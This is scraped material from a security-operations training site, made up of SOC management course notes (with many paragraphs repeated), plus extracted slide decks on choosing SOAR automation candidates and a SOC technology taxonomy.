operational monitoring for the same sort of confidentiality, integrity, and availability of systems as those systems the SOC is intended to protect. In fact, the SOC represents an ideal target for an adversary to compromise. Apply strict management controls to these practices. Hopefully the organization has a mature practice of operations and these practices can be applied to the SOC systems. Without this maturity the SOC risks complaisance and a false sense of security. Excellence in operations and the ability to manage change is the base from which the sort of control we want for security emanates. Network Security Monitoring: Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By the functional areas definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion or at rest. Some literature distinguishes NSM from continuous security monitoring (CSM) or similar monitoring activities. Security Monitoring might be a better term for your instance if this overloading of NSM bothers you. This activity involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. Threat Intelligence: The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include VirusTotal (https://www.virustotal.com/ ), other sandboxing sites, and reputation services such as anti-spam lists and website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. Incident Response: The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. We’ll delve into specific details of IR on days 4 and 5. Forensics: Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics: Host, Network, Reverse Engineering, and eDiscovery. Self-Assessment: As with Forensics, there are various subcategories of self-assessment: Configuration Monitoring, Vulnerability Assessment, Pen Testing, and Exercise Development. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. • • • • There should be some metrics which are reported to the steering committee. But, not all metrics that you track should be reported to the steering committee. Time to detection, time to containment from detection, cost per incident, time to response initiation, monetary cost per incident, incidents reoccurring due to insufficient eradication. Keep many of the metrics you use internal to the SOC to determine if changes you make are having the desired impact and identify areas of deficiency. You may also need to report on Service Level Objective between the SOC and its constituents. A large, complex SOC will also establish SLOs among the functional areas. • • • • Steering Committee: Forming a steering committee to provide oversight and advice is another really good step forward not only in formulating Security Operations requirements, but also in helping to ensure your efforts stay on track. Key stakeholders such as the following should be invited to be on the steering committee: •The head of your organization’s legal department •The head of human relations (HR) •The head of physical security •The head of public relations (PR) •The head of IT and/or operations •The head of Government relations (if applicable) •Business unit managers Steering committee members provide input concerning what they do and do not want when it comes to SOC efforts. They will also provide honest feedback concerning what the SOC function has and has not done correctly—feedback you can use to improve the function. Finally, if an incident occurs with a business unit or involves a breach of both physical and logical security, you will already have a relationship with key players in other areas, thus increasing the likelihood of mutual cooperation. Obtaining certain kinds of documentation can also be helpful in formulating requirements. If you are able to get hold of your organization’s business or operational plan, something to which access is normally extremely restricted, you can become acquainted firsthand with business directions and drivers. This, in turn, will help you know what kinds of SOC activities are most needed. Internal and external audit reports will also provide a strong indication of the business directions and drivers, as well as areas within your organization that might have much higher levels of unmitigated risk than others. Legal and regulatory compliance strategy documents will tell you much about your organization’s risk appetite regarding legal and regulatory risk. Past incident reports will not only inform you concerning the kinds of incidents that have occurred in the past, but also what kind of content should have been included in the SOC requirements, but was omitted. Command Center: The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is and is not an incident based on technical indicators and the defined policies and guidance. The SOC is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. Command Center SOC Operations: Anticipate the operational requirements for the systems in use within the SOC. These systems require deployment, testing, and ongoing operational monitoring for the same sort of confidentiality, integrity, and availability of systems as those systems the SOC is intended to protect. In fact, the SOC represents an ideal target for an adversary to compromise. Apply strict management controls to these practices. Hopefully the organization has a mature practice of operations and these practices can be applied to the SOC systems. Without this maturity the SOC risks complaisance and a false sense of security. Excellence in operations and the ability to manage change is the base from which the sort of control we want for security emanates. Network Security Monitoring: Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By the functional areas definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion or at rest. Some literature distinguishes NSM from continuous security monitoring (CSM) or similar monitoring activities. Security Monitoring might be a better term for your instance if this overloading of NSM bothers you. This activity involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. Threat Intelligence: The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include VirusTotal (https://www.virustotal.com/ ), other sandboxing sites, and reputation services such as anti-spam lists and website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. Incident Response: The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. We’ll delve into specific details of IR on days 4 and 5. Forensics: Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics: Host, Network, Reverse Engineering, and eDiscovery. Self-Assessment: As with Forensics, there are various subcategories of self-assessment: Configuration Monitoring, Vulnerability Assessment, Pen Testing, and Exercise Development. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. There should be some metrics which are reported to the steering committee. But, not all metrics that you track should be reported to the steering committee. Time to detection, time to containment from detection, cost per incident, time to response initiation, monetary cost per incident, incidents reoccurring due to insufficient eradication. Keep many of the metrics you use internal to the SOC to determine if changes you make are having the desired impact and identify areas of deficiency. You may also need to report on Service Level Objective between the SOC and its constituents. A large, complex SOC will also establish SLOs among the functional areas. • • • • • • • • • • • • • Having a clear picture of what success is and conveying this throughout the SOC is critical to unify the functional areas. Alignment between the SOCs view of its objectives and the Steering Committee (and thus the organization at large if the SC is composed properly) is critically important. What if the Steering Committee thinks that the SOC is there to prevent all incidents and the SOC thinks of success as minimizing damage? That fundamental disconnect is going to destroy that relationship and will waste scarce resources thrashing between differing objectives. SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability. This pithy statement contains the elements of our SOC in a simple mission objective of success. It demonstrates that intervention is the goal, not specifically prevention. It accepts that some bad things will happen but that success entails minimizing the impact of those things. • • • • • SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability. This pithy statement contains the elements of our SOC in a simple mission objective of success. It demonstrates that intervention is the goal, not specifically prevention. It accepts that some bad things will happen but that success entails minimizing the impact of those things. • • • Having a clear picture of what success is and conveying this throughout the SOC is critical to unify the functional areas. Alignment between the SOCs view of its objectives and the Steering Committee (and thus the organization at large if the SC is composed properly) is critically important. What if the Steering Committee thinks that the SOC is there to prevent all incidents and the SOC thinks of success as minimizing damage? That fundamental disconnect is going to destroy that relationship and will waste scarce resources thrashing between differing objectives. • • • • • • This is a discreet scale. Think of this scale as a set of integers (I would prefer using 0, 1, 2 but this is a management class) and these are the only three options. No 1.6, no 2.2. They are not available options. Each incident is categorized. The count of each type of incident is reported. If you have lots of 1s, you’re an easy target. Lots of 2s, the organization isn’t doing all it could. Mostly 3s? Let’s talk.  This metric largely measures your self-assessment capability. It has an implied measurement of your management’s willingness to face the facts. On the difference between an accident and a collision: From: http://sph.tulane.edu/news/tulanian/ever_ready.cfm?RenderForPrint=1 This is a discreet scale. Think of this scale as a set of integers (I would prefer using 0, 1, 2 but this is a management class) and these are the only three options. No 1.6, no 2.2. They are not available options. Each incident is categorized. The count of each type of incident is reported. If you have lots of 1s, you’re an easy target. Lots of 2s, the organization isn’t doing all it could. Mostly 3s? Let’s talk.  This metric largely measures your self-assessment capability. It has an implied measurement of your management’s willingness to face the facts. On the difference between an accident and a collision: From: http://sph.tulane.edu/news/tulanian/ever_ready.cfm?RenderForPrint=1 • • • • • The SOC must represent to the business what it is capable of doing. The business components may see that the performance offered isn’t sufficient for its purpose. If you can’t meet the objective, look for a way to minimize the tasks you would do in order to accomplish the objective. If that isn’t feasible, then look for additional resources to meet the requirements. • • • • • • Define what information is required to be delivered to the organization’s business units and at what frequency this will be delivered. During an incident, there is typically an ongoing dialogue, but there should be a minimal expected notification interval for updates. Other items from the SOC to discuss the frequency of correspondence are vulnerability scan results, updated vulnerability information within the environment (out of band patches, Heartbleed or similar high impact issues). Another example is threat intelligence discovered which suggests that a portion of the organization might be a target? For example, let’s say that the FBI contacts the SOC and indicates that your biomedical research group might be the target of morally based hackers who opposed human genetic research. Do you tell the Business Unit and all the staff? Do you keep it quiet, and try to increase monitoring? What’s the right operational security response for your SOC? What does your employee culture expect? • • The SOC needs to measure itself on an ongoing basis. Without that self-assessment, it will perform sub- optimally and not understand if the efforts it is making are appropriately placed and having the intended effect. Detailed discussions are on the following slides. • • • Analyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days This and other great insights for measurement here: https://www.sans.org/summit-archives/file/summit-archive-1532960745.pdf “TwoGuns” Crowley image used without permission. ;) • • In addition to severity the organization should have a categorization system for discussing the impact of an incident. This qualitative, descriptive categorization allows the organization to express the damage done from a security incident in a concise fashion. It also allows the organization to plan for issues in advance based on anticipated impact, and plan to allocate resources as appropriate to the potential impact. The full schema is here: https://www.us-cert.gov/incident-notification-guidelines#Impact Classifications Items presented on this chart are a subset of the full list from US-CERT for the purpose of facilitating a discussion. Unless there is an industry requirement to use the US-CERT categories expressly, the organization should tailor the categories to its own needs. This is part of the development of the Security Policy and SOC Charter. This information is based on NIST SP800-61r2: http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf In addition to severity the organization should have a categorization system for discussing the impact of an incident. This qualitative, descriptive categorization allows the organization to express the damage done from a security incident in a concise fashion. It also allows the organization to plan for issues in advance based on anticipated impact, and plan to allocate resources as appropriate to the potential impact. The full schema is here: https://www.us-cert.gov/incident-notification-guidelines#Impact Classifications Items presented on this chart are a subset of the full list from US-CERT for the purpose of facilitating a discussion. Unless there is an industry requirement to use the US-CERT categories expressly, the organization should tailor the categories to its own needs. This is part of the development of the Security Policy and SOC Charter. This information is based on NIST SP800-61r2: http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf • • • • • Incident Impact Quantification Charts (IIQC) are one way to articulate the impact with the assistance of the steering committee • • • • Some method to quantify impact that can be consistently applied by analysts and management to assess the impact of an incident is important. We’ll talk more about analysis on day three, but here is a rough draft of a method that you might adopt and adjust for each system. The quantities expressed around the perimeter are defined on a 1-10 scale to identify impact level and category. The squares represent a multiple of the incident level and category A system with greater resilience, such as one with multiple VMs and geographic replication would have a lower quantity on the recoverable line. There are more mature incident impact rating systems available. But this simplified system gives you the gist of what would be useful to have as a quantity for consistent expression of incident impact. If you have this in place, you could also start to utilize thresholds for escalation to various levels of management for re 3 5 9 Low Moderate High Functional Informational Recoverable Some method to quantify impact that can be consistently applied by analysts and management to assess the impact of an incident is important. We’ll talk more about analysis on day three, but here is a rough draft of a method that you might adopt and adjust for each system. The quantities expressed around the perimeter are defined on a 1-10 scale to identify impact level and category. The squares represent a multiple of the incident level and category A system with greater resilience, such as one with multiple VMs and geographic replication would have a lower quantity on the recoverable line. There are more mature incident impact rating systems available. But this simplified system gives you the gist of what would be useful to have as a quantity for consistent expression of incident impact. If you have this in place, you could also start to utilize thresholds for escalation to various levels of management for re 3 5 9 Low Moderate High 5 Functional 7 Informational 9 Recoverable Some method to quantify impact that can be consistently applied by analysts and management to assess the impact of an incident is important. We’ll talk more about analysis on day three, but here is a rough draft of a method that you might adopt and adjust for each system. The quantities expressed around the perimeter are defined on a 1-10 scale to identify impact level and category. The squares represent a multiple of the incident level and category A system with greater resilience, such as one with multiple VMs and geographic replication would have a lower quantity on the recoverable line. There are more mature incident impact rating systems available. But this simplified system gives you the gist of what would be useful to have as a quantity for consistent expression of incident impact. If you have this in place, you could also start to utilize thresholds for escalation to various levels of management for re 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81 Some method to quantify impact that can be consistently applied by analysts and management to assess the impact of an incident is important. We’ll talk more about analysis on day three, but here is a rough draft of a method that you might adopt and adjust for each system. The quantities expressed around the perimeter are defined on a 1-10 scale to identify impact level and category. The squares represent a multiple of the incident level and category A system with greater resilience, such as one with multiple VMs and geographic replication would have a lower quantity on the recoverable line. There are more mature incident impact rating systems available. But this simplified system gives you the gist of what would be useful to have as a quantity for consistent expression of incident impact. If you have this in place, you could also start to utilize thresholds for escalation to various levels of management for re • • • • Incident Impact Quantification Charts (IIQC) are one way to articulate the impact with the assistance of the steering committee 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81 Current Incident 73 Some method to quantify impact that can be consistently applied by analysts and management to assess the impact of an incident is important. We’ll talk more about analysis on day three, but here is a rough draft of a method that you might adopt and adjust for each system. The quantities expressed around the perimeter are defined on a 1-10 scale to identify impact level and category. The squares represent a multiple of the incident level and category A system with greater resilience, such as one with multiple VMs and geographic replication would have a lower quantity on the recoverable line. There are more mature incident impact rating systems available. But this simplified system gives you the gist of what would be useful to have as a quantity for consistent expression of incident impact. If you have this in place, you could also start to utilize thresholds for escalation to various levels of management for re • • • • • • This is a discreet scale. Think of this scale as a set of integers (I would prefer using 0, 1, 2 but this is a management class) and these are the only three options. No 1.6, no 2.2. They are not available options. Each incident is categorized. The count of each type of incident is reported. If you have lots of 1s, you’re an easy target. Lots of 2s, the organization isn’t doing all it could. Mostly 3s? Let’s talk.  This metric largely measures your self-assessment capability. It has an implied measurement of your management’s willingness to face the facts. On the difference between an accident and a collision: From: http://sph.tulane.edu/news/tulanian/ever_ready.cfm?RenderForPrint=1 • • • --- ## Source: https://montance.com/questions.php?id=126 [![pdf](content/images/icons/pdf.svg) DarkReading PaloAltoNetworks SOAR.pdf](https://drive.google.com/file/d/1Q_-WKqTiRSFkHzv8c5bbshmrOKbU3HxB/view?usp=drive_link) Darkreading PaloAltoNetworks SOAR Presentation covering SOAR titled 'Darkreading PaloAltoNetworks SOAR'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main focus of this document? A: The benefits of Security Orchestration, Automation, and Response (SOAR). * Q: How does SOAR help with the 'Skills Gap'? A: By automating Tier 1 tasks, allowing analysts to focus on higher-value investigations. * Q: What is a 'Playbook' in the context of SOAR? A: A codified workflow of actions to be executed automatically or semi-automatically. * Q: What is the 'Cortex' brand? A: Palo Alto Networks' suite of AI-driven security operations products, including XSOAR. * Q: What is the benefit of 'Case Management' in SOAR? A: Centralizing communication and artifacts for an incident in one place. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1Q_-WKqTiRSFkHzv8c5bbshmrOKbU3HxB/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1Q_-WKqTiRSFkHzv8c5bbshmrOKbU3HxB/view?usp=drive_link]** SOAR Process Selection: Short Extract from SOC-Class.com Montance® LLC –Maryland, USA SOC-Class.com || Montance® LLC1Copyright 2020 Montance® LLC – All Rights Reserved. Intro•Consultant/Analyst, SANS Senior Instructor, (…) Teach: SEC504, SEC511, SEC575 for SANS •Many others in the past; USDOD, SANS & elsewhere •Course Author: SANS MGT535, SANS MGT517, Montance® SOC-Class.com •Consultant: Montance® for security operations design, build, operate, assess, mature •Background: Ultrix ™system administrator at 15 years old; decades of IT operations and security •Education: Computer Information Systems, English Literature, and Molecular Biology Definitions•Automation is the technology by which a process or procedure is performed with minimum human assistance. Wikipedia: Automation •Orchestration is the automated configuration, coordination, and management of computer systems and software. Wikipedia: Orchestration_(computing) •Because I’m a lazy and imprecise speaker, I’ll mostly use them interchangeably Automations / Orchestration Uses•Extraction of related/correlated data from systems •Enrichment can be automated, for example •Presenting data to analyst for assessment: enrich, correlate, known threat TTPs, internal system’s value, known vulnerabilities, etc. •Guiding an analyst through variable options to provide investigation support and response support •Investigation: collect information and analyze information •Response: modify/change, or intervene in operational systems Automation Paradox & Failure Example•Automation paradox: complex systems tend to be more automated, and require human intervention to avoid damage in unexpected scenarios. But human capability to intervene is largely diminished by the automation present. •Scary example: system failures in airplanes •Qantas Flight 72 –autopilot pitch-down actions Orchestration Contraindication•Novel / Complex / Unknown scenarios bearing little resemblance to orchestrated situations (ever end up in a worthless phone support menu?) •Exceeding boundaries (typically legal) that may be technically feasible, but inappropriate or illegal •Example: Performance of Analysis: analysis itself should be neither entirely automated nor specifically orchestrated, but can be expedited and improved by orchestration/automation Automation Contraindication•No clearly defined parameters of accuracy, success, or what to avoid •IT operational processes are not well defined •Recovery / Business continuity techniques are not well defined and tested •Technology in use isn’t tested / verified Applying to Security Operations•Task category definitions •Identification: Something might be bad •Investigation: Verify if it is bad and if so, how bad •Analysis: What, How, When, Why (Who?)… it happened •Response: Stop the damage from the bad thing •Recovery: Data and systems restored to normal Start With A List of What You Do•Spreadsheet with about 120 specific procedures listed with generic rating for priority •I don’t care if SOPs are currently undocumented, capture what you do, and what your org thinks the SOC should do •The rest of the talk explains the rationale for setting automation priorities Then SOAR! (I’m Sorry I’m so Corny)•Go Automate / Orchestrate – tools required, SOAR specific tools may make it easier ;) •Select a SOAR –non-trivial task, and a big commitment to architecture •Learning curve for most SOAR tools is diminished, but still exists; assign a tool leader Building Workflow•If you have an existing, clear workflow, orchestration/automation becomes easier •Inputs, People, Technology, Processes, and Outputs •Enumerate these procedures, link together, maybe automate ;) •The workflow could be a detailed subset or many items •In describing a SOC, I’ve developed a work flow of the processes available for download https://www.soc-class.com/res Process List for Automation•Suggested method is to review the list and identify “exact steps to follow” in the specificity level, and see if the action could be performed by a script, if so, it is a Moderate (or higher candidate) •To become Highest, it needs to be done very frequently and have minimal tolerance for errors Poor Candidates for Automation•Suggested method is to review the list and identify “General Steps” in the specificity level, and verify that the action could not be performed by a script, that’s Lowest •To become None, it’s a human action that doesn’t warrant orchestration of data collection, because the act of data collection by the analyst/operator has value to the process output and outcome SOAR: High & Low Candidates•Constituents: Frequent, precision and repeatability important to avoid confusion and missing recipients •Impact Assessment: Orchestration among many systems would make this very difficult task substantially more robust and repeatable •HR Interaction: distinct and unique situations typically. If the scenario is the same each time (ex. inappropriate use noticed via web proxy), would move up to Moderate Notify Constituents - General Threat BulletinExact Steps to Follow 2020-06-01Highest Impact Assessment General Steps No 2020-06-01Moderate HR InteractionExact Steps to Follow No 2020-06-01Lowest SOAR: High & Low Candidates•Validation: Highest, automatable, critical, constant •Mining: Orchestration and automation opportunity, frequent (should be), maybe developed during hunt •Hunting: None: Don’t limit the process, automation is a potential output from a hunt, not the hunt itself Validate receipt of data sourcesExact Steps to Follow No 2020-06-14Highest Data Mining General Steps No 2020-07-01Moderate Hunting General Steps No 2020-05-01None Conclusion Thank You –Go Orchestrate/Automate•CCrowMontance(twitter) •https://www.soc-class.com/res for this slide deck & referenced spreadsheet •Redistribution authorized, provide citation •https://www.soc-class.com/ for use case, SOAR, hunting, security operations and more… •https://www.montance.com consulting website --- ## Source: https://montance.com/questions.php?id=153 [![pdf](content/images/icons/pdf.svg) RSA Technology Taxonomy](https://drive.google.com/file/d/1LAg4d798c7MhamiUace2TEkh4puzevYx/view?usp=drive_link) RSA Technology Taxonomy Presentation by Christopher Crowley (2021-05) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for RSA Technology Taxonomy ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1LAg4d798c7MhamiUace2TEkh4puzevYx/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1LAg4d798c7MhamiUace2TEkh4puzevYx/view?usp=drive_link]** #RSACSESSION ID: Christopher CrowleyCyber Security Operations Center Technology TaxonomyAIR-T07 Consultant Montance® LLC @CCrowMontance #RSAC “Apply” Slide -Tweet to @CCrowMontance 2 Immediate: consider the taxonomy I present and critique, enhance, refine, and extend it for general reference (not just your SOC) Upon returning to work: cross-walk the taxonomy I propose with technologies you deploy in your (Cyber) Security Operations Center Assess:identify shortcomings in your technology portfolio Plan:use threat informed guidance (such as MITRE ATT&CK) to propose technology enhancement priorities for your SOC Implement: acquire and implement the right tools for you #RSAC #RSACProblem Statement #RSAC Problem: Technology Selection There’s no such thing as one complete “SOC technology” package, even from very large vendors who probably could offer it You have to make many tools work together, the tools weren’t necessarily designed to play nicely with others, so we tape and glue No authoritative reference for technology taxonomy (this presentation is my working reference) for the industry to start from What is available is usually marketing-vendor and analyst-research- industry driven treadmill of what’s next, not a holistic picture IT frameworks for technology selection don’t address data aggregation needs for Security Operations Orgs & security staff focus on technology before process and people #RSAC #RSACSolution Statement #RSAC Enterprise Technology Selection –My Approach In the position of advising organizations on security operations My approach: Have a “complete list” that I can then narrow down based on drivers, CSOC needs, and IT systems to defend Then, identify a budget-appropriate technology portfolio for an organization and its culture: (Is open-source ok? Can McAfee/ Kaspersky/… be installed? Staff capable to deploy & maintain it?) Technologies should be compatible, effective, supported, secure #RSAC Boundary of The Technology Taxonomy This taxonomy is an attempt to fully enumerate the SOC technology needs, not your general IT system needs Example: authentication system is part of your IT infrastructure (or extrastructureif you use a cloud system) for your IT systems –SOC would monitor this, but it’s not a requirement for running a SOC #RSAC Issues Not Covered in This Talk Do I pick technology then hire people or the other way around? People to run and maintain the tools The “minimum” needed for a SOC? –I’m presenting the long list here, right-sizing to your org is homework (see “Apply Slide”). SOC-Class spreadsheet available upon request Putting tools to work in a well architected and effectively executed SOC program Use Cases, Hunting, Training, … #RSAC #RSACHow We (as an Industry) Approach Technology Today #RSAC https://soc-survey.comTECHNOLOGY USE –2020 SOC SURVEY2020 SOC-Survey Top Ten “Yes” Technology Results Below The Fold: Partially or Not Yet Implemented #RSAC #RSACPass 1 –NIST CSF Potential Basis for Technology Taxonomy #RSAC Identify Protect Detect Respond Recover Used in 2018 to Organize Technologies in Categories For SANS SOC SurveyCOMPONENTS OF FRAMEWORKNIST Cyber Security Framework #RSAC NIST CSF –Technology Categories My take-aways in using NIST CSF for technology categorization: It didn’t make sense for my purposes A reality, made clear if you look at it through this lens: technology is predominantly “Protect” and “Detect” Previous SOC Surveys (Crowley/Pescatore2017, 2018, 2019, 2020) support this inference #RSAC #RSACSOC Architecture and Arrangement, Outsourcing, … Mentioned But Not Addressed in Detail #RSAC SOC Functional Areas and Architectures I use functional categories to discuss SOC capability There are many approaches to this, not going into depth here Follow-the-sun and other multi-SOC models require appropriate tech sharing / data interface Plan for maintenance, updates, training, … From: https://soc-class.com #RSAC Outsourcing Technology Strategies If you are leveraging an outsourced provider (MSSP), you may address the concerns of technology in a few variations, not going into detail in this presentation –MSSP provided and maintained technology You have access to their tools, or You have no access to their tools –MSSP maintains your provided tools –MSSP uses their technology, you must interface through data transfer –MSSP technology dictates what technology you will use –MSSP flexibly absorbs your deployed technology and uses it #RSAC #RSACPass 2 –SOC-Class.com Categories Crowley’s SOC-Class Technology Taxonomy #RSAC SOC Technology Taxonomy –Overall Categories Visibility (External Awareness)Communication OpsDetection & PreventionStorage Deception Analysis #RSAC Visibility (External Awareness) Threat Intel PortalsOperational Status informationNews informationWeatherInternet Weather #RSAC #RSAC #RSAC #RSAC Communication PhoneEncryption for CommunicationWebsitesPortals: Status, Metrics, Incident, Ticketing #RSAC  Wired Telephone Services  Cellular Service Phone #RSAC #RSAC #RSAC Operations Automation & OrchestrationTicketingCorrelation of Asset to OwnerDev,QA,Stage of tools #RSAC #RSAC #RSAC Detection & Prevention Endpoint Network Infrastructure Extrastructure Correlation #RSAC #RSAC #RSAC #RSAC #RSAC Storage Data AggregationRetentionPhysical ControlsDestruction #RSAC #RSAC #RSAC Deception Internet connectivityModelsAutomated Network QuarantineHoneytokens Honeypots #RSAC #RSAC #RSAC #RSAC Analysis Modeling and Testing EquipmentBaseline systemsCorrelation, MappingForensics ScannersCode manipulationSimulators #RSAC #RSAC #RSAC #RSAC #RSACAdditional Technology Thoughts #RSAC Secure SOC Architecture -CSOC is the Defense The SOC contains all information for defense of your organization It should be considered a critical infrastructure component SOC information systems receive substantial protection of –Integrity –Availability –Confidentiality Failure represents a loss of control, or worse: perception that the information systems are operating normally when they are not #RSAC SOC Systems’ System Administration Considerations in systems administration for the SOC resources –Separation of duties between operations and SOC activities –Redundant system administration staff in both SOC and IT Operations is costly –Available skillset to manage systems, IT Ops is already busy, and might not be capable of administrating specialized SOC systems Decision –Small teams spend most of their time just doing SysAdminfor SOC systems –Larger SOCs and MSSPs will have dedicated internal System Admins, usually a dedicated team for this with appropriate Dev, QA, Stage, Prod tiers Outsourcing is a frequently used (high value proposition) option #RSAC Technology Integration In addition to selecting specific technologies you must assure that your tools interface with one another and your ticket and tracking systems –See data-glue options on next slide Having a well-designed process makes this easier Knowledgeable staff with a CSOC program for developing team self-training on new tools is the best approach #RSAC What is Your Data Glue for Integration? Scripting –Challenge of long term maintenance, adequate skillset Professional Services –Expensive, can be difficult to schedule in time Only select compatible products –Lock-in, missed opportunities Automation / Orchestration Tool –Current practice (latest 